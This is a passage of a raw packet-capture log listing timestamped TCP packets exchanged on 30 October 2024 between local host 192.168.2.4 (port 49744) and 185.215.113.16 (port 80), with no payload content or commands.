Oct 30, 2024 12:36:33.003570080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003578901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003591061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003601074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003608942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003611088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003619909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003623009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003633976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003644943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003645897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003659010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003683090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003796101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003806114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003844023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003937960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003947973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003957033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003968954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003985882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003993034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003995895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004008055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004009008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004019022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004029989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004034996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004040956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004051924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004055023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004064083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004070044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004100084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004270077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004280090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004295111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004306078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004317045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004319906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004328012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004339933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004359961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004511118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004555941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004565954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004595041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004666090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004676104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004686117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004695892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004718065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004730940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004823923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004834890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004844904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004853964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004857063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004870892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004879951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004883051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004890919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004903078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004909039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004914045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.004930973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.004950047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.104645967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104705095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104739904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104763031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.104816914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104852915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104862928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.104888916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104942083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.104943991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.104994059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105029106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105057001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105062962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105104923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105135918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105170012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105202913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105226040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105253935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105289936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105304003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105326891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105360985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105374098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105390072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105423927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105457067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.105473995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.105524063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.108396053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.146547079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146622896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146666050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.146696091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146732092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146784067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.146801949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146836996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146888018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146899939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.146924019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146958113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.146972895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.146994114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147041082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147044897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147079945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147113085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147133112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147146940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147198915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147209883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147234917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147268057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147279978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147340059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147373915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147394896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147408009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147442102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147464037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147475958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147509098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147521973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147543907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147578001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147584915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147612095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147646904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147661924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147736073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147768974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147789001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147803068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147835970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147850990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147871017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147905111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147933960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.147941113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147974014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.147989988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148009062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148044109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148072004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148097038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148130894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148142099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148164988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148196936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148199081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148231983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148263931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148274899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148298025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148327112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148349047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148360968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148394108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148408890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148427010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148459911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148478031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148492098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148525000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148535967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148555040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148606062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148626089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148638964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148672104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148684978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148709059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148737907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148752928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148770094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148802996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148806095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148835897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148873091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148871899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148907900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148941040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.148967981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.148972988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149017096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149024963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149075985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149108887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149128914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149143934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149178982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149188042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149211884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149245977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149261951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149279118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149312019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149326086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149346113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149379969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149399042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149410963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149445057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149457932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149477959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149509907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149532080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149543047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149576902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149580002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149611950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149645090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149658918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149679899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149714947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149723053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149745941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149780035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149787903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149815083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149854898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149868011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149902105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149934053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.149951935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.149967909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150012970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150016069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150069952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150103092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150120974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150137901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150171041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150176048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150204897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150239944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150253057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150275946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150305986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150330067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150340080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150373936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150394917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150408983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150441885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150458097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150475025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150509119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150511980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150537014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150572062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150587082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150604963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150635004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150649071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150670052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150702953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150713921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150737047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150770903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150779963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150810957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150847912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150852919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150876999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150909901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150917053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150944948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.150988102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.150999069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151032925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151065111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151072979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151098013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151128054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151140928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151160955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151195049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151217937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151228905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151267052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151273012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151299953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151345015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151349068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151384115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151417971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151418924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151451111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151484966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151494026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151520014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151554108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151570082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151602030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151635885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151657104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151668072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151706934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151710033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151736021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151768923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151778936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151803970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151838064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151854992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151874065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151907921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151911974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.151941061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151971102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.151983976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152004004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152038097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152043104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152071953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152105093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152132988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152134895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152168036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152172089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152255058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152290106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152316093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152326107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152359962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152373075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152414083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152455091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152462959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152497053 CET	80	49744	185.215.113.16	192.168.2.4
